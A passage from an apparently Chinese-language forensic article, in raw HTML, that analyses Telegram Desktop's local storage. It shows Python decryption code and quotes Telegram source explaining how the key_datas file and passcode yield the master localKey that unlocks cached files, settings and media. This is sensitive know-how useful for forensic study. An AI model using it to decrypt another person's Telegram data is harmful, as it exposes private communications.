type&#39;</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">salt</span> = f.read(<span class="code-snippet__number">64</span>)</span></code><code><span class="code-snippet_outer">    encrypted = f.read(<span class="code-snippet__number">16</span> + <span class="code-snippet__number">32</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    real_key = sha256(<span class="code-snippet__keyword">key</span>[:<span class="code-snippet__keyword">len</span>(<span class="code-snippet__keyword">key</span>) // <span class="code-snippet__number">2</span>] + <span class="code-snippet__keyword">salt</span>[:<span class="code-snippet__number">32</span>])</span></code><code><span class="code-snippet_outer">    iv = sha256(<span class="code-snippet__keyword">key</span>[<span class="code-snippet__keyword">len</span>(<span class="code-snippet__keyword">key</span>) // <span class="code-snippet__number">2</span>:] + <span class="code-snippet__keyword">salt</span>[<span class="code-snippet__number">32</span>:])[:<span class="code-snippet__number">16</span>]</span></code><code><span class="code-snippet_outer">    d = CtrState(real_key, iv)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">data</span> = d.encrypt(encrypted)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">checksum</span> = <span class="code-snippet__keyword">data</span>[<span class="code-snippet__number">16</span>:]</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> sha256(<span class="code-snippet__keyword">key</span> + <span class="code-snippet__keyword">salt</span> + <span class="code-snippet__keyword">data</span>[:<span class="code-snippet__number">16</span>]) != <span class="code-snippet__keyword">checksum</span>:</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">raise</span> ValueError(<span class="code-snippet__string">&#39;wrong key&#39;</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> d.encrypt(f.read())</span></code></pre></section><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span md-inline="plain" style="box-sizing: border-box;font-size: 16px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-family: Helvetica, Arial, sans-serif;display: inline !important;">解密后可以很清楚的看到，图片，表情，gif等文件主要都缓存在<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">cache</code>目录中，音频和视频主要缓存在<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">media_cache</code>中。</span></p><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="534" data-backw="843" data-galleryid="" data-ratio="0.6327014218009479" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="844" src="https://wechat2rss.xlab.app/img-proxy/?k=8474f745&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdzB5RGaTguRrjCfLPAqlAt2NaZtw3s23w66h7BEmCrDStcTA9S6E36Xg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p cid="n46" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">telegram使用了webp的技术来存储一部分的头像和表情，这么做能够使得体积大幅减少，图片质量也得到保障。</span></p><p cid="n47" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">除了webp之外，telegram还有自己的<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">tgs</code>文件 （Telegram Animated stickers），主要使用的是Lottie的技术来存储更高质量的动画表情，然后用gzip压缩，进一步减小动画表情缓存文件的大小。这个<span md-inline="plain" style="box-sizing: border-box;">github项目</span>可以很方便地将<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">tgs</code>文件转换为<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">gif</code>文件。</span></p></section></section></section><section style="display: flex;margin-bottom: 8px;"><section style="box-sizing: border-box;width: 6px;height: 100%;background-color: rgb(239, 239, 239);border-right: 1px solid rgb(0, 0, 0);border-bottom: 1px solid rgb(0, 0, 0);overflow: hidden;"><br/></section></section></section></section></section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><section data-tools="135编辑器" data-id="108591" data-color="#59c3f9"><section style="text-align: center;margin: 10px auto;"><section style="margin-left: 8px;"><section style="box-sizing: border-box;width: 100%;height: 6px;border-top: 1px solid rgb(0, 0, 0);border-right: 1px solid rgb(0, 0, 0);border-left: 1px solid rgb(0, 0, 0);border-bottom: none;background-color: rgb(239, 239, 239);overflow: hidden;" data-width="100%"><br/></section></section><section style="display: flex;"><section style="border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);flex: 1 1 0%;box-sizing: border-box;"><section style="background-image: linear-gradient(to right, rgb(89, 195, 249) 0%, rgb(148, 219, 255) 100%);background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 5px 15px 5px 20px;"><section style="display: flex;justify-content: space-between;align-items: center;"><section style="font-size: 20px;letter-spacing: 1.5px;color: #000;"><strong data-brushtype="text">文件解析</strong></section><section style="box-sizing:border-box;width: 30px;height: 30px;background-color: #000;display:flex;justify-content: center;align-items: center;transform: rotate(12deg) translate(0px, 10px);-webkit-transform: rotate(12deg) translate(0px, 10px);-moz-transform: rotate(12deg) translate(0px, 10px);-ms-transform: rotate(12deg) translate(0px, 10px);-o-transform: rotate(12deg) translate(0px, 10px);"><section style="box-sizing: border-box;width: 1px;height: 30px;background-color: rgb(255, 255, 255);overflow: hidden;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-ms-transform: rotate(45deg);-o-transform: rotate(45deg);"><br/></section><section style="box-sizing: border-box;width: 1px;height: 30px;background-color: rgb(255, 255, 255);overflow: hidden;transform: rotate(-45deg);-webkit-transform: rotate(-45deg);-moz-transform: rotate(-45deg);-ms-transform: rotate(-45deg);-o-transform: rotate(-45deg);"><br/></section></section></section></section><section style="border-top: 1px solid rgb(0, 0, 0);padding: 20px 16px;text-align: left;box-sizing: border-box;"><section style="line-height: 1.6em;"><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;"><p cid="n49" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"># key_datas</strong></span></p><p cid="n50" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">在对文件的结构有初步的了解后，我们的第一个目标来到</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">key_datas</code></span><span md-inline="plain" style="box-sizing: border-box;">文件，这个文件虽然仅存储了较少的用户数据，但它是所有文件中最关键的文件，因为它保存了解密其他文件的主密钥</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">localKey</code></span><span md-inline="plain" style="box-sizing: border-box;">。</span></p><p cid="n51" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">经过一番寻找，发现在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">Telegram/SourceFiles/storage/storage_domain.cpp:Domain::startModern()</code></span><span md-inline="plain" style="box-sizing: border-box;">函数中对</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">key_datas</code></span><span md-inline="plain" style="box-sizing: border-box;">文件进行了读取，解密以及数据解析等操作，主要步骤如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">调用ReadFile()函数获取加密数据(keyData) -&gt; </span></code><code><span class="code-snippet_outer">  解析keyData，读取salt, keyEncrypted, infoEncrypted -&gt;</span></code><code><span class="code-snippet_outer">    调用createLocalKey()函数生成passcodeKey -&gt; </span></code><code><span class="code-snippet_outer">      调用DecryptLocal()函数和密钥导出函数，使用导出密钥解密keyEncrypted，得到localKey -&gt;</span></code><code><span class="code-snippet_outer">        调用DecryptLocal()函数，使用localkey解密infoEncrypted，得到info-&gt;</span></code><code><span class="code-snippet_outer">          解析用户数据，初始化账户设置</span></code></pre></section><p cid="n51" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">这里需要关注三个点：</span></p><p cid="n51" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">createLocalKey()</code></span><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">首先以</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">sha512(salt + passcode + salt)</code></span><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">的形式生成hash值。接下来再调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">PKCS5_PBKDF2_HMAC_sha512</code></span><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">密钥导出函数，将</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">hash</code></span><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">salt</code></span><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">作为输入参数，进行重复计算后得到最终的导出密钥</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">passcodeKey</code></span><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">。</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">MTP::<span class="code-snippet__function">AuthKeyPtr <span class="code-snippet__title">CreateLocalKey</span><span class="code-snippet__params">(<span class="code-snippet__keyword">const</span> QByteArray &amp;passcode, <span class="code-snippet__keyword">const</span> QByteArray &amp;salt)</span> </span>{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">const</span> <span class="code-snippet__keyword">auto</span> s = bytes::make_span(salt);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">const</span> <span class="code-snippet__keyword">auto</span> hash = openssl::Sha512(s, bytes::make_span(passcode), s); </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">const</span> <span class="code-snippet__keyword">auto</span> iterationsCount = passcode.isEmpty()</span></code><code><span class="code-snippet_outer">    ? <span class="code-snippet__number">1</span> <span class="code-snippet__comment">// Don&#39;t slow down for no password.</span></span></code><code><span class="code-snippet_outer">    : kStrongIterationsCount;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">auto</span> key = MTP::AuthKey::Data{ { gsl::byte{} } };</span></code><code><span class="code-snippet_outer">  PKCS5_PBKDF2_HMAC( </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">reinterpret_cast</span>&lt;<span class="code-snippet__keyword">const</span> <span class="code-snippet__keyword">char</span>*&gt;(hash.data()),</span></code><code><span class="code-snippet_outer">    hash.size(),</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">reinterpret_cast</span>&lt;<span class="code-snippet__keyword">const</span> <span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">char</span>*&gt;(s.data()),</span></code><code><span class="code-snippet_outer">    s.size(),</span></code><code><span class="code-snippet_outer">    iterationsCount,</span></code><code><span class="code-snippet_outer">    EVP_sha512(),</span></code><code><span class="code-snippet_outer">    key.size(),</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">reinterpret_cast</span>&lt;<span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">char</span>*&gt;(key.data()));</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">std</span>::make_shared&lt;MTP::AuthKey&gt;(key);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n51" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">passcodeKey</code></span><span md-inline="plain" style="box-sizing: border-box;">会调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">DecryptLocal()</code></span><span md-inline="plain" style="box-sizing: border-box;">函数来解密</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">keyEncrypted</code></span><span md-inline="plain" style="box-sizing: border-box;">，得到</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">localKey</code></span><span md-inline="plain" style="box-sizing: border-box;">。</span></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">_passcodeKey = CreateLocalKey(passcode, salt);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">EncryptedDescriptor keyInnerData, info;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (!DecryptLocal(keyInnerData, keyEncrypted, _passcodeKey)) {</span></code><code><span class="code-snippet_outer">  LOG((<span class="code-snippet__string">&#34;App Info: could not decrypt pass-protected key from info file, &#34;</span></span></code><code><span class="code-snippet_outer">       <span class="code-snippet__string">&#34;maybe bad password...&#34;</span>));</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> StartModernResult::IncorrectPasscode;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">auto key = Serialize::read&lt;MTP::AuthKey::Data&gt;(keyInnerData.stream);</span></code><code><span class="code-snippet_outer">_localKey = std::make_shared&lt;MTP::AuthKey&gt;(key);</span></code></pre></section><p cid="n51" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">解密得到的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">localkey</code></span><span md-inline="plain" style="box-sizing: border-box;">不只是用来解密</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">infoEncrypted</code></span><span md-inline="plain" style="box-sizing: border-box;">，同时它还是其他加密文件的解密密钥（可以理解为它是主密钥）。程序在这里使用了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">std::move()</code></span><span md-inline="plain" style="box-sizing: border-box;">操作，将</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">localKey</code></span><span md-inline="plain" style="box-sizing: border-box;">的资源移动给</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">_localKey</code></span><span md-inline="plain" style="box-sizing: border-box;">，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">_localKey</code></span><span md-inline="plain" style="box-sizing: border-box;">则是后序解密文件所使用的对称密钥。</span></span></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">Domain::StartModernResult Domain::startModern(<span class="code-snippet__keyword">const</span> QByteArray &amp;passcode) {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">auto</span> key = Serialize::read&lt;MTP::AuthKey::Data&gt;(keyInnerData.stream);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// ...</span></span></code><code><span class="code-snippet_outer">  _localKey = <span class="code-snippet__built_in">std</span>::make_shared&lt;MTP::AuthKey&gt;(key);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// ...</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">auto</span> config = account-&gt;prepareToStart(_localKey);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">std</span>::<span class="code-snippet__built_in">unique_ptr</span>&lt;MTP::Config&gt; Account::prepareToStart(<span class="code-snippet__built_in">std</span>::<span class="code-snippet__built_in">shared_ptr</span>&lt;MTP::AuthKey&gt; localKey) {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> _local-&gt;start(<span class="code-snippet__built_in">std</span>::move(localKey));</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">std</span>::<span class="code-snippet__built_in">unique_ptr</span>&lt;MTP::Config&gt; Account::start(MTP::AuthKeyPtr localKey) {</span></code><code><span class="code-snippet_outer">  Expects(localKey != <span class="code-snippet__literal">nullptr</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  _localKey = <span class="code-snippet__built_in">std</span>::move(localKey);</span></code><code><span class="code-snippet_outer">  readMapWith(_localKey);</span></code><code><span class="code-snippet_outer">  clearLegacyFiles();</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> readMtpConfig();</span></code><code><span class="code-snippet_outer">} </span></code></pre></section><p cid="n51" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">下图为解密后的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">key_datas</code></span><span md-inline="plain" style="box-sizing: border-box;">文件数据：</span></span></span></span></span><img class="rich_pages wxw-img" data-backh="326" data-backw="932" data-galleryid="" data-ratio="0.35" data-s="300,640" style="text-align: center;width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=aad86fd3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdzqa2PKFiciaCX0DBZLmmtxnZqS82Kd5o7qoL9HLibgC4zk1lUcbtexxKrQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n51" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="background-color: rgb(255, 255, 255);box-sizing: border-box;">在拥有了加解密文件的密钥</span><span md-inline="code" spellcheck="false" style="background-color: rgb(255, 255, 255);box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">_localKey</code></span><span md-inline="plain" style="background-color: rgb(255, 255, 255);box-sizing: border-box;">后，剩下的加密文件就可以轻而易举的解开了。</span></p></section></section><section style="margin-top: 15px;border-top: 1px dashed rgb(0, 0, 0);padding-top: 15px;line-height: 1.6em;box-sizing: border-box;"><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;"><p cid="n67" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"># settings</strong></span></p><p cid="n68" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">settingss</code></span><span md-inline="plain" style="box-sizing: border-box;">文件主要存储了用户页面相关的配置，包括背景图片，颜色，语言包等配置信息。</span></p><p cid="n68" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;"><img class="rich_pages wxw-img" data-backh="342" data-backw="932" data-galleryid="" data-ratio="0.36716621253405995" data-s="300,640" style="font-family: Helvetica, Arial, sans-serif;font-size: 16px;letter-spacing: 1.5px;orphans: 4;white-space: pre-wrap;text-align: center;width: 100%;height: auto;" data-type="png" data-w="2936" src="https://wechat2rss.xlab.app/img-proxy/?k=032a1e1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdzbupRJyfERCs1f0b91ZY778UdDIWQWx9RPOLtTDiaNISxU5X7T2pepTA%2F640%3Fwx_fmt%3Dpng"/></span></p></section></section><section style="margin-top: 15px;border-top: 1px dashed rgb(0, 0, 0);padding-top: 15px;line-height: 1.6em;box-sizing: border-box;"><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;"><p cid="n70" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 